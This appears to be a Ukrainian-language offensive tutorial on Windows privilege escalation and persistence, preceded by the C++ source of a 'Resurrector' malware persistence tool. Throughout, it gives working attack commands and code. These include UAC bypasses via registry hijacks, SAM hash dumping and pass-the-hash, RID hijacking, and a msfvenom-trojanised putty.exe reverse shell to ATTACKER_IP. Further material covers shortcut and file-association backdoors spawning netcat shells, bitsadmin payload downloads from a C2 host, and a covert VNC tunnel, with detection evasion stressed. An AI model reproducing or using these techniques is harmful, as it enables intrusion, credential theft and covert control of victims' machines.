if (lResult == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
return false;
}
size_t WriteCallback(void* ptr, size_t size, size_t nmemb, FILE* stream) {
size_t written = fwrite(ptr, size, nmemb, stream);
return written;
}
//
//int downloadBinary(string url, string filePath) {
// // download the binary from the URL
// CURL* curl;
// FILE* fp;
// CURLcode res;
//
// curl = curl_easy_init();
// if (curl) {
// fp = fopen(filePath.c_str(), "wb");
// if (!fp) {
// std::cerr << "Error: No se pudo abrir el archivo para escribir.\n";
// return 1;
// }
//
// curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
//
// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
//
// curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
//
// res = curl_easy_perform(curl);
//
// if (res != CURLE_OK) {
// std::cerr << "Error en la solicitud: " << curl_easy_strerror(res) << "\n";
// fclose(fp);
// curl_easy_cleanup(curl);
// return 1;
// }
//
// fclose(fp);_
//
// curl_easy_cleanup(curl);
// return 0;
// }
//
// std::cerr << "Error: No se pudo inicializar curl.\n";
// return 1;
//}
std::wstring stringToWstring(const std::string& str) {
return std::wstring(str.begin(), str.end());
}
string wstringToString(wstring wstr) {
string str(wstr.begin(), wstr.end());
return str;
}
bool DoesRegistryEntryExist(const wchar_t* wRegistryPath, const wchar_t* valueName) {
HKEY hKey;
LONG result;
// Intentar abrir la clave del registro
result = RegOpenKeyEx(HKEY_CURRENT_USER, wRegistryPath, 0, KEY_READ, &hKey);
if (result != ERROR_SUCCESS) {
return false; // No se pudo abrir la clave (probablemente no existe)
}
// Intentar consultar el valor en la clave del registro
result = RegQueryValueEx(hKey, valueName, nullptr, nullptr, nullptr, nullptr);
RegCloseKey(hKey); // Cerrar la clave del registro
return (result == ERROR_SUCCESS); // Si result es ERROR_SUCCESS, la entrada existe
}
// Set file as binary in registry
bool setFileAsBinary(const std::string& srcFile) {
std::wstring wSrcFile = stringToWstring(srcFile);
HANDLE hFile = CreateFile(wSrcFile.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Error opening file: " << GetLastError() << std::endl;
return false;
}
HKEY hKey;
LONG openStatus = RegCreateKeyEx(HKEY_CURRENT_USER, wRegistryPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
if (openStatus != ERROR_SUCCESS) {
std::cerr << "Error opening registry key: " << openStatus << std::endl;
CloseHandle(hFile);
return false;
}
const DWORD CHUNK_SIZE = 1024;
BYTE buffer[CHUNK_SIZE];
DWORD bytesRead;
std::vector<BYTE> fileData;
while (ReadFile(hFile, buffer, CHUNK_SIZE, &bytesRead, NULL) && bytesRead > 0) {
fileData.insert(fileData.end(), buffer, buffer + bytesRead);
}
LSTATUS status = RegSetValueEx(hKey, L"FileValue", 0, REG_BINARY, fileData.data(), fileData.size());
if (status != ERROR_SUCCESS) {
std::cerr << "Error setting registry value: " << status << std::endl;
CloseHandle(hFile);
RegCloseKey(hKey);
return false;
}
std::cout << "File stored in the registry as binary data." << std::endl;
CloseHandle(hFile);
RegCloseKey(hKey);
return true;
}
bool getFileAsBinary(const std::string& valueName, const std::string& dtsFile) {
HKEY hKey;
LONG openStatus = RegCreateKeyEx(HKEY_CURRENT_USER, wRegistryPath, 0, NULL, 0, KEY_QUERY_VALUE, NULL, &hKey, NULL);
if (openStatus != ERROR_SUCCESS) {
std::cerr << "Error opening registry key: " << openStatus << std::endl;
return false;
}
DWORD valueType;
DWORD dataSize = 0;
std::wstring valueNameL = stringToWstring(valueName);
LONG queryValueStatus = RegQueryValueEx(hKey, valueNameL.c_str(), NULL, &valueType, NULL, &dataSize);
if (queryValueStatus != ERROR_SUCCESS || valueType != REG_BINARY) {
std::cerr << "Error retrieving registry value size or wrong value type." << std::endl;
RegCloseKey(hKey);
return false;
}
std::vector<BYTE> buffer(dataSize);
queryValueStatus = RegQueryValueEx(hKey, valueNameL.c_str(), NULL, &valueType, buffer.data(), &dataSize);
if (queryValueStatus != ERROR_SUCCESS) {
std::cerr << "Error retrieving registry value." << std::endl;
RegCloseKey(hKey);
return false;
}
std::ofstream outfile(dtsFile, std::ios::binary);
if (!outfile.is_open()) {
std::cerr << "Error opening output file." << std::endl;
RegCloseKey(hKey);
return false;
}
outfile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
outfile.close();
std::cout << "File retrieved and saved successfully." << std::endl;
RegCloseKey(hKey);
return true;
}
int main(int argc, char* argv[])
{
if (argc < 2) {
cout << "Usage: Resurrector.exe -f <filepath> -p <process name> [-r <registry key>] [-files <files>] [-l <limit>] [-admin] [-h <help>]" << endl;
cout << "Use -h for help" << endl;
return 1;
}
string filePath = "";
string processName = "";
vector<string> registryKeys;
unordered_map<string, string> registries;
vector<string> files;
bool admin = false;
int counter = 0;
int countLimit = -1;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-f") == 0) {
filePath = argv[i + 1];
}
else if (strcmp(argv[i], "-p") == 0) {
processName = argv[i + 1];
}
else if (strcmp(argv[i], "-r") == 0) {
string registryKey = argv[i + 1];
// split the registry keys by comma
size_t pos = 0;
string token;
while ((pos = registryKey.find(",")) != string::npos) {
token = registryKey.substr(0, pos);
registryKeys.push_back(token);
registryKey.erase(0, pos + 1);
}
registryKeys.push_back(registryKey); // Add the last registry key
for (string key : registryKeys) {
// replace the / with \\ to be compatible with the registry
for (int i = 0; i < key.size(); i++) {
if (key[i] == '/') {
key[i] = '\\';
}
}
// split the last / or \\ to get the registry key and the value
size_t pos = key.find_last_of("/\\");
string value = key.substr(pos + 1);
key = key.substr(0, pos);
registries[key] = value;
}
}
else if (strcmp(argv[i], "-files") == 0) {
string file = argv[i + 1];
// split the files by comma
size_t pos = 0;
string token;
while ((pos = file.find(",")) != string::npos) {
token = file.substr(0, pos);
files.push_back(token);
file.erase(0, pos + 1);
}
files.push_back(file); // Add the last file
}
else if (strcmp(argv[i], "-h") == 0) {
cout << "Usage: Resurrector.exe -f <filepath> -p <process name> [-r <registry key>] [-files <files>] [-l <limit>] [-h <help>]" << endl;
cout << "\nArguments:" << endl;
cout << " -f <filepath> : File Path of the Binary (not null)" << endl;
cout << " -p <process name> : Process Name (not null)" << endl;
cout << " -r <registry key> : Registry Keys, can be multiple separated by comma (optional)" << endl;
cout << " -files <files> : Other files, if one of two of this files is not found, the process will resurrected, can be multiple separated by comma (optional)" << endl;
cout << " -l <limit> : Limit of the counter, if the counter is greater or equal to the limit, the process will resurrected (optional)" << endl;
cout << " -admin : Run the process as admin (optional) (More Possibilities to become detected) ([!]can fail in some systems!)" << endl;
cout << " -h : Help" << endl;
return 0;
}
else if (strcmp(argv[i], "-l") == 0) {
countLimit = atoi(argv[i + 1]);
}
else if (strcmp(argv[i], "-admin") == 0) {
admin = true;
}
}
if (countLimit == -1) {
countLimit = 3;
}
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
// create the persistence via Run Keys with this current executable
// get the complete command to run the current executable
string completeCommand = path;
for (int i = 1; i < argc; i++) {
completeCommand += " ";
completeCommand += argv[i];
}
cout << "Complete Command: " << completeCommand << endl;
char* cCompleteCommand = new char[completeCommand.size() + 1];
strcpy(cCompleteCommand, completeCommand.c_str());
persistenceViaRunKeys(cCompleteCommand);
cout << "File Path: " << filePath << endl;
cout << "Process Name: " << processName << endl;
cout << "Admin: " << admin << endl;
cout << "Registry Keys: ";
for (string registryKey : registryKeys) {
cout << registryKey << " ";
}
cout << endl;
cout << "Files: ";
for (string file : files) {
cout << file << " ";
}
cout << endl;
// if the paths or registry keys have '/' replace it with '\\'
for (int i = 0; i < filePath.size(); i++) {
if (filePath[i] == '/') {
filePath[i] = '\\';
}
}
for (int i = 0; i < files.size(); i++) {
for (char& c : files[i]) {
if (c == '/') {
c = '\\';
}
}
}
for (int i = 0; i < registryKeys.size(); i++) {
for (char& c : registryKeys[i]) {
if (c == '/') {
c = '\\';
}
}
}
// check if the registry with the binary already exists, if not, create it
string registryKey = wstringToString(wRegistryPath);
wchar_t* registrName = new wchar_t[value.size() + 1];
mbstowcs(registrName, value.c_str(), value.size() + 1);
if (!DoesRegistryEntryExist(wRegistryPath, registrName)) {
setFileAsBinary(filePath);
}
FreeConsole();
while (true) {
cout << "\n[!] Resurrector Detector started" << endl;
cout << "[+] Results:" << endl;
// check if the process is running
if (isProcessRunning(wstring(processName.begin(), processName.end()))) {
cout << "Process is running" << endl;
}
else {
cout << "Process is not running" << endl;
counter++;
}
// check if the files are in their paths
for (string file : files) {
if (existsFile(file)) {
cout << "File " << file << " exists" << endl;
}
else {
cout << "File " << file << " does not exist" << endl;
counter++;
}
}
// check if the binary is in the path
if (existsFile(filePath)) {
cout << "Binary exists" << endl;
}
else {
cout << "Binary does not exist" << endl;
counter = counter + 2;
}
// check if the registry keys are in the registry, iterate registries hashmap and use DoesRegistryEntryExist
for (const auto& entry : registries) {
const string& key = entry.first; // Access the key
const string& value = entry.second; // Access the value
wchar_t* keyName = new wchar_t[key.size() + 1];
mbstowcs(keyName, key.c_str(), key.size() + 1);
wchar_t* valueName = new wchar_t[value.size() + 1];
mbstowcs(valueName, value.c_str(), value.size() + 1);
if (DoesRegistryEntryExist((const wchar_t*)keyName, (const wchar_t*)valueName)){
cout << "Registry Key " << key << " exists" << endl;
}
else {
cout << "Registry Key " << key << " does not exist" << endl;
counter++;
}
}
cout << "\n[!] Counter: " << counter << endl;
cout << "[!] Count Limit: " << countLimit << endl;
if (counter >= countLimit) {
cout << "Resurrecting process" << endl;
// recover the binary from the registry
string buffer;
//int size = getFileSizeFromRegister();
getFileAsBinary(value, filePath);
if (admin) {
runProcAsAdminFromUser(filePath);
}
else {
ShellExecuteA(NULL, "open", filePath.c_str(), NULL, NULL, SW_HIDE);
}
}
else {
cout << "Not resurrecting process" << endl;
}
counter = 0;
Sleep(5000);
}
} Результат роботи:
Ескалація привілеїв
Ескалація привілеїв – це процес експлуатації багів, помилок, недоліків та вразливостей інформаційної системи з метою підвищення поточних прав та привілеїв облікового запису користувача, які надають розширений доступ і права на керування (читання/виконання/запис) до ресурсів, що можуть обмежуватися для різних типів користувачів.
Процес виявлення ескалації привілеїв доволі тривалий, він може бути як горизонтальним, так і вертикальним. Вимагає від пентестера досконалого розуміння архітектури Windows та програмування під неї – уміння написання додатків/патчів/експлойтів.


Нижче розберемо процес ескалації на прикладі існуючих інструментів, тактик, вразливостей та експлойтів.
UAC Bypass
Що таке UAC? Це система безпеки User Access Contro, яка працює у вигляді діалогового вікна з вимагою додатковго схвалення збоку користувача виконання додатків Windows, які потребують прав адміністратора. Вперше введена в Windows Vista. Її можна обійти не використовуючи жодні вразливості, а шляхом простого зловживання довірою Windows до легітимних служб та процесів, які під час запуску зчитують налаштування з реєстру і містять у своєму маніфесті параметр autoElevate: true – автоматичне виконання з правами адміністратора, без схвалення UAC.


Розберемо деякі з таких додатків:
fodhelper.exe– техніка обходу UAC через утиліту, яка відкриває налаштування розширених опцій додатків Windows (розділ “Optional Features”). При запуску шукає обробник URI-схемиms-settings://, що відповідає запису в реєстріHKCU\ms-settings\shell\open\command. HKCU доступний на запис без прав адміна, тому зловмиснику достатньо переписати його, вложивши наприклад шкідливе навантаження. Цей хак досі спрацьовує на деяких непропатчених збірках ОС Winsows 10/11 з неналаштованим на максимальний захист Defender’ом.
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f fodhelper.exe
eventwvr.exe– ще одна техніка обходу UAC через вбудовану службову утиліту Windows “Event viewer” (eventwvr.exe), призначену для перегляду системних подій. Вона теж автоматично запускається з підвищеними правами, звертаючись до обробника команди mscfile (HKCU\mscfile\shell\open\command). Аналогічно попередньому методу, зловмисник просто підміняє запис реєстру. Вразливість була пропатчена і працює лише лише на ОС Windows 10 до збірки 1803.
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /f eventvwr.exe
eudcedit.exe– службова утиліта Windows для редагування символів. Експлуатується через веб-інтерфейс. Створюємо новий символ, потім обираємо File -> Font Links. У вікні вказуємо шлях “PowerShell” і тиснемо “Зберегти”. Відкриється оболонка командного рядка PowerShell з правами адміністратора. В останніх версіях Windows спрацьовує сигнатура Defender.
Більше прикладів можна знайти тут.
Експлойти Nightmare Eclipse
Ці експлойти до Windows 10/11 були опубліковані дослідником Nightmare Eclipse на його GitHub-акаунті у квітні 2026 року. Microsoft подали скаргу на користувача і забанили разом з репозиторієм. Більшість з них вже пропатчені, але якщо видозмінити PoC і на їх основі розробити власні версії, то можна продовжувати експлуатувати деякі проблеми.
CVE 2026-33825 (Blue Hammer)
Шкідливе навантаження експлуатує процес оновлення захисника Windows Defender, а саме – зловживає його взаємодією з Volume Shadow Copy (служба тіньового копіювання томів), застосовуючи TOCTOU (time-of-check to time-of-use) і oplocks. У висновку, вдається “заморозити” Defender, отримати доступ до бази хешів паролів локальних користувачів Security Account Manager (SAM) й підняти привілеї локального користувача до рівня NT AUTHORITY\SYSTEM, що дає необмежені права та можливості в керуванні системою.
Станом на 29.05.2026 Microsoft випустив патч – оновлений Windows Defender тепер блокує спроби експлуатації. Однак, як зазначають дослідники, вже існують модифіковані версії цього експлойту, які через зміну сигнатур, шифрування і інші реалізації алгоритму можуть продовжувати зловживати логікою Defender.
CVE-2026-41091 (Red Sun)
Ще одна вразливість нульового дня, яка зловживає логікою Windows Defender і дозволяє підняти локальні привілеї до рівня SYSTEM (Local Privilege Escalation, LPE).
Експлойт під назвою Red Sun опублікований у відкритому доступі тим самим дослідником Nightmare Eclipse у квітні 2026 року. Він використовує API Cloud Files, записує тестовий файл EICAR, виграє стан гонки з тіньовою копією тому (VSS) за допомогою Oplock, а потім перенаправляє перезапис на C:\Windows\system32\TieringEngineService.exe. У результаті інфраструктура Cloud Files запускає підcyнутий файл, що виконується від імені SYSTEM.
Патч для Windows Defender опублікований Microsoft 19 травня 2026 року наче вирішує цю проблему.
CVE-2020-17103 (MiniPlasma)
Черговий 0-Day експлойт від Nightmare Eclipse. Дозволяє підвищити локальні привілеї в операційній системі Windows 10/11 через взаємодію з Cloud Filter (cldflt.sys) та функцією HsmOsBlockPlaceholderAccess. Причому, ця вразливість існувала ще з 2020 року, коли її начебто полагодили (CVE-2020-17103).
CVE-2026-45586 (GreenPlasma)
Експлойт для локального підвищення привілеїв через системний компонент CFTMON. Ця вразливість дозволяє звичайному користувачеві створювати довільні об’єкти розділів пам’яті в каталогах, доступних SYSTEM, що потенційно розкриває шлях до ескалації привілеїв до NT\SYSTEM.
CVE-2026-45498 (Undefend)
Ще один експлойт вищеназваного дослідника. Викликає відмову в обслуговуванні Windows Defender, таким чином “заморожуючи” активність захисника.
Решта експлойтів від NightmareEclipse можна знайти в його особистому репозиторії Project NightCrawler, а також ChurchOfMalware.
CVE-2026-50656 (RoguePlanet)
Один з останніх експлойтів Nightmare Eclipse. Спрямований на Windows Defender. Вразливість знайшли в роботі модуля Microsoft Malware Protection Engine, який має однойменну назву – RoguePlanet.
Робота з користувачами (енумерація, бекдоринг, ескалація)
Створення нового користувача:
net user newuser /add– створення користувача з пустим паролем;net user newuser ""– створення користувача без пароля;net user newuser password /add– створення користувача з паролем;net user newuser password– задати/змінити пароль для існуючого користувача;net user newuser– отримати інформацію про заданого користувача;net user newuser /delete– видалити користувача;net user– отримати список користувачів системи.wmic useraccount get name,sid– отримати список користувачів системи через WMIC із вказаним ідентифікатором SID.
Перемикання між користувачами:
shutdown /l– покинути обліковий запис (закриття сесії);tsdiscon– перехід в інший обліковий запис без закриття сесії.
Перегляд сесій і процесів:
query session– вивід сесій з ID;logoff 1– вихід із сесії за вказаним ID;tasklist /FI "USERNAME eq username"– перегляд запущених процесів в обліковому записі вказаного користувача.
Керування адміністраторами:
net localgroup Administrators newuser /add– додати непривілейованого користувача в групу Адміністраторів;net localgroup Administrators– покаже список облікових записів, які входять в групу Адміністраторів;net localgroup "Backup Operators" newuser /add– додати користувача в групу операторів резервного копіювання, що дозволяє читати/записувати будь-які файли чи розділи реєстру в системі, ігноруючи будь-які налаштовані DACL, але не дає прав Адміністратора. Може використовуватися для уникнення початкового виявлення;net localgroup "Remote Management Users" newuser /add– додати користувача в групу віддаленого керування, що дає змогу підключатися по RDP і WinRM;net user Administrator /active:yes– активувати вбудованого адміністратора Windows (обходить UAC);net user Administrator password– задати пароль для облікового запису Адміністратора.
Аналіз привілеїв поточного користувача:
whoami /groups– перевірка груп поточного користувача.whoami /priv– перевірка привілеїв (прав) поточного користувача.
Запуск від імені облікових записів:
runas /user:newuser cmd– відкрити нове вікно командного рядка CMD від імені заданого користувача;runas /user:Administrator "GoogleUpdate.exe"– виконати файл від імені дміністоратора;runas /user:%USERNAME% powershell– запустити командний рядок PowerShell від імені поточного користувача;:
Переглянути процеси користувача:
Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*newuser*"}– переглянути процеси іншого користувача в PowerShell (потребує прав адміністратора);Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*$env:USERNAME*"}– переглянути процеси поточного користувача в PowerShell;tasklist /v /fi "USERNAME eq %USERNAME%"– переглянути усі процеси поточного користувача (CMD).
WinRM ескалація
Надавши користувачу права “Remote Management Users”, можна спробувати підключитися по WinRM. WinRM – це служба віддаленого керування Windows, яка працює на портах TCP 5985 (HTTP) та 5986 (HTTPS) й надає повнофункціональну віддалену оболонку PowerShell (Powershell Remoting).
Для під’єднання до неї знадобиться утиліта evil-winrm:
gem install evil-winrm echo 'export PATH="$HOME/.local/share/gem/ruby/3.4.0/bin:$PATH"' >> ~/.bashrc source ~/.bashrc
evil-winrm -i IP_address -u username -p password
Але попередньо необхідно вимкнути LocalAccountTokenFilterPolicy – це правило безпеки модуля UAC, яке позбавляє будь-який локальний обліковий запис прав при віддаленому вході:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Після з’єднання через WinRM, можна спробувати завантажити таблиці SAM і SYSTEM, які містять хеші паролей користувачів:
reg save hklm\system system.bakreg save hklm\sam sam.bakdownload system.bakdownload sam.bak
Тепер необхідно ці хеші розпарсити:
pip install pypykatzpypykatz registry --sam sam.bak system.bak
Тепер під’єднуємося по WinRM з обліковим записом Адміністратора та просто підставивши отриманий хеш (техніка Pass-to-Hash (PtH)):
evil-winrm -i X.X.X.X -u Administrator -H f3118544a831e728781d780cfdb9c1fa
Таким чином ми увійшли в систему з повними привілеями. Як це стало можливим?
Протокол NTLM приймає саме хеш, а не пароль, який зберігається в таблиці SAM. По замовчуванню, коли ви вводите пароль – Windows хешує його і згодовує NTLM. У даному випадку з допомогою Pass-the-Hash ми одразу віддали системі автентифікації готовий хеш – вона перевірила його і впустила.
Evil-winrm також дозволяє ряд інших функцій, наприклад:
upload <локальний_файл> <цільовий_шлях># завантажити файл на цільdownload <цільовий_файл> <локальний_шлях># стягнути файл з ціліmenu# меню з усіма функціямиservices# список сервісів
Метод №2
Можна піти іншим шляхом і завантажити всю конфігурацію привілеїв службовою утилітою Windows – secedit:
secedit /export /cfg config.inf
Тепер просто відкрити файл і додати свого користувача до тих чи інших привілеїв, наприклад:
(Get-Content config.inf) -replace 'SeBackupPrivilege = \*S-1-5-32-544,\*S-1-5-32-551', 'SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,username' | Set-Content config.inf(Get-Content config.inf) -replace 'SeRestorePrivilege = \*S-1-5-32-544,\*S-1-5-32-551', 'SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,username' | Set-Content config.inf
Перевірити вміст:
type config.inf
Таким чином ми додали користувача username до двох груп привілеїв – SeBackupPrivelege і SeRestorePrivilege. Тепер треба цей файл політик config.inf повторно переконвертувати у config.sdb та імпортувати назад в систему:
secedit /import /cfg config.inf /db config.sdbsecedit /configure /db config.sdb /cfg config.inf
Все, тепер користувач наділений привілеями оператора резервного копіювання. Щоб підключитися з ним по WinRM попередню треба відключити LocalAccountTokenFilterPolicy та додати його в локальну групу “Remote Management Users” або, якщо є доступ до робочого столу, відкрити налаштування та включити Full Control:
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

Суть методу з Full Control від звичайного полягає у тому, що в такому разі привілеї користувача будуть приховані. Якщо виконати:
net user username
То ми побачимо звичайні права користувача:
Local Group Memberships *Users Global Group memberships *None
При цьому, це буде фактично повноцінний Адміністратор системи з правами запису/перезапису всіх файлів та реєстру Windows. У корпоративних системах це в рази ускладнить виявлення збоку Blue Team команд.
Знайти інші групи привілеїв можна у довіднику Windows >>
RID Hijacking
RID – це числовий ідентифікатор, який присвоюється кожному користувачу Windows і є частиною загального ідентифікатора в домені SID. Обліковому запису адміністратора за замовчуванням призначається RID = 500, звичайні користувачі отримують RID >= 1000.
Завдання полягає у тому, аби призначити RID=500 нашому користувачу.
Для цього відкриваємо редактор реєстру утилітою PsExec:
- Переходимо в гілку
HKLM\SAM\SAM\Domains\Account\Users\ - Переводимо останній біт RID в 16-тковий формат, наприклад 1010 = 0x3F2. Відповідно переходимо у гілку 0x3F2.
- Відкриваємо і редагуємо значення F на позиції 0x30 – тут треба змінити перші чотири байти RID на 500, тобто 0x01F4.
- Так як використовується нотація little-endian, коли байти йдуть в зворотному напрямі – замість F2 03 вбиваємо F4 01.
Все, тепер Windows пов’яже цей обліковий запис з Адміністратором і він матиме усі необхідні привілеї.
Можна підключитися з Linux по RDP протоколу: xfreerdp /v:X.X.X.X /u:username /p:password /cert:ignore
Файли-бекдори
Msfvenom binary
В Metasploit є чудова можливість закладати у будь-який бінарний exe-файл експлойт, наприклад реверс-шелл. Для прикладу візьмемо putty.exe, який часто використовується користувачами Windows для SSH-з’єднань.
Виконаємо команду msfvenom:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=XXXX -b "\x00" -f exe -o putty.exe
Тепер отриманий файл треба просто підмінити в системі користувача. При його виконанні відкриється стандартний додаток PuTTY, але паралельно відкриється TCP-з’єднання для шеллу.
Shortlink backdoor
Ще один спосіб як організувати бекдор – це змінити шлях виконання у ярлику Windows – shortlink.
Наприклад, у властивостях, в полі Target буде вказано:
C:\Windows\System32\calc.exe
Ми можемо підмінити його на інший файл:
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1– скрипт який одночасно виконає оригінальний calc.exe і запустить реверс-шелл, ось його вміст:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP XXXX" C:\Windows\System32\calc.exe
Hijacking File Association
В реєстрі Windows зберігається інформація про те, який додаток відповідає за відкриття тих чи інший файлових розширень. Наприклад, файл .txt відкриває по замовчуванню системний додаток Блокнот – Notepad.exe. Як завжди, його можна підмінити на власний файл, який буде одночасно відкривати оригінальний Notepad.exe і запускати реверс-шелл.
Гілки з розширеннями знаходяться тут: HKLM\Software\Classes\
Якщо перейти в гілку з розширенням .txt, то в ньому для Default буде вказано значення – txtfile. Шукаємо цей тип і змінюємо у його гілці команду виконання:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
І змінюємо його значення на: powershell.exe -WindowStyle hidden C:\Windows\backdoor2.ps1
Вміст backdoor.ps1:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe X.X.X.X XXXX" C:\Windows\system32\NOTEPAD.EXE $args[0]
Таким чином, коли користувач щоразу запускатиме текстовий файл – запускатиметься блокнот і паралельно бекдор. Це дуже хороший приклад для досягнення персистетності. Більшість середньостатистичних користувачів навіть не здогадаються, що система скомпрометована і здійснює паралельні з’єднання. Звісно, за умови що з’єднання не буде обріже Defender чи Firewall. А він у більшості користувачів Windows відключений або відсутній.
Більше інформації по файлам-бекдорам в статті Техніки маскування файлів >>
Віддалене адміністрування Windows
У цьому розділі пропонуються різноманітні варіанти і способи віддаленого адміністрування операційної системи, яке може потребувати вже попереднього доступу та підвищених привілеїв.
VNC Tunnel
VNC дає можливість керувати робочим столом, а отже ми можемо використати його для реалізації подальших атак. Спробуємо встановити тунель, який дасть нам розширений доступ.
Встановлюємо на хост-машині пакет TightVNC, в Windows Advanced Settings в перемінні PATH додаємо директорію розташування додатка.
Переходимо в папку з додатком, копіюємо файли в окрему папку, розгортаємо там Cloudflare-сервер і доставляємо на цільову машину три файли:
bitsadmin /transfer dl1 /download /priority high https://c2-example.com/tvnserver.exe C:\Users\%USERNAME%\tvnserver.exebitsadmin /transfer dl2 /download /priority high https://c2-example.com/screenhooks64.dll C:\Users\%USERNAME%\screenhooks64.dllbitsadmin /transfer dl3 /download /priority high https://c2-example.com/hookldr.exe C:\Users\%USERNAME%\hookldr.exe
Тепер на віддаленій машині налаштовуємо TightVNC через додавання записів в реєстр:
reg add "HKCU\Software\TightVNC\Server" /v AllowLoopback /t REG_DWORD /d 1 /freg add "HKCU\Software\TightVNC\Server" /v UseVncAuthentication /t REG_DWORD /d 0 /freg add "HKCU\Software\TightVNC\Server" /v UseControlAuthentication /t REG_DWORD /d 0 /fstart C:\Users\%USERNAME%\tvnserver.exe -runnetstat -an | findstr 5900– повинен бути статус LISTENING.
На хост-машині (сервері) створюємо файл tunnel.ps1 – він має містити публічну IP-адресу сервера і порт доступний з мережі (можна використати порт-форвардинг в VPN):
$t = New-Object System.Net.Sockets.TcpClient('IP_ADDRESS_C2', <c2-port>)
$v = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 5900)
$ts = $t.GetStream()
$vs = $v.GetStream()
$b1 = New-Object byte[] 65536
$b2 = New-Object byte[] 65536
while ($t.Connected) {
if ($ts.DataAvailable) { $n = $ts.Read($b1, 0, $b1.Length); $vs.Write($b1, 0, $n); $vs.Flush() }
if ($vs.DataAvailable) { $n = $vs.Read($b2, 0, $b2.Length); $ts.Write($b2, 0, $n); $ts.Flush() }
Start-Sleep -Milliseconds 1
} І доставляємо його на клієнтську машину:
bitsadmin /transfer t /download /priority high https://c2-example.com/tunnel.ps1 C:\Users\%USERNAME%\tunnel.ps1
Рекомендую на сервері заздалегідь відкрити необхідні порти, щоби не заблокувались вхідні з’єднання з клієнтської машини. Наприклад:
netsh advfirewall firewall add rule name="Relay" protocol=TCP dir=in localport=XXXX action=allow
На сервері запустити TightViewer:
tvnviewer.exe -listennetstat -an | findstr 5500– повинен бути статус LISTENING.
На сервері створити файл-релай relay.ps1, який буде приймати зворотне з’єднання:
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, <c2-port>)
$listener.Start()
Write-Host "Waiting for tunnel..."
$t = $listener.AcceptTcpClient()
Write-Host "Tunnel connected!"
$v = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 5500)
$ts = $t.GetStream()
$vs = $v.GetStream()
$b1 = New-Object byte[] 65536
$b2 = New-Object byte[] 65536
while ($t.Connected) {
if ($ts.DataAvailable) { $n = $ts.Read($b1, 0, $b1.Length); $vs.Write($b1, 0, $n); $vs.Flush() }
if ($vs.DataAvailable) { $n = $vs.Read($b2, 0, $b2.Length); $ts.Write($b2, 0, $n); $ts.Flush() }
Start-Sleep -Milliseconds 1
} Запустити його на сервері:
powershell -ExecutionPolicy Bypass -File relay.ps1
Тепер запустити на віддаленій машині через cmd (shell) запустити tunnel.ps1:
start powershell -ExecutionPolicy Bypass -File C:\Users\%USERNAME%\tunnel.ps1
Після цього на сервері автоматично відкриється вікно з TightVNC Viewer з цільовою системою:
Увага: На системах з активним Windows Firewall і обмеженими правами доступу може спрацювати захист UAC (User Access Control). Поки користувач не схвалить запит, з’єднання не відбудеться. Але це одноразова дія. Після натискання “Allow access” правило зберігається назавжди. При наступних запусках tvnserver зв’яжеться автоматично.
RDP over SSH Reverse Tunnel
Ця техніка дуже часто застосовується як в адмініструванні, так і в тестуваннях на проникнення. Скориставшись нею, отримаємо стабільний доступ до віддаленого робочого столу по протоколу RDP з допомогою SSH-тунеля.
Розгортаємо RDP-сервер
Перевіряємо чи RDP працює на віддаленій машині:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections– якщо 0x1 – вимкнено, 0x0 – включено.
Якщо вимкнено, тоді запускаємо і налаштовуємо RDP на віддаленій машині:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow net stop TermService /y net start TermService sc query TermService
або через PowerShell + скрипт enable_rdp.bat:
@echo off reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow net stop TermService /y net start TermService sc query TermService pause
bitsadmin /transfer dl5 /download /priority high https://c2-server.com/enable_rdp.bat "%USERPROFILE%\enable_rdp.bat"powershell -ep bypass– перейти в оболонку PowerShell без обриву поточної сесії CMD;Start-Process -FilePath "enable_rdp.bat" -Verb runAs– запустити виконання файлу від імені адміністратора (потребує схвалення запиту UAC збоку користувача)
Створюємо нового користувача RDP на віддаленій машині:
net user rdpuser Password123 /add net localgroup "Remote Desktop Users" rdpuser /add reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v rdpuser /t REG_DWORD /d 0 /f
або через PowerShell + скрипт create_user.bat:
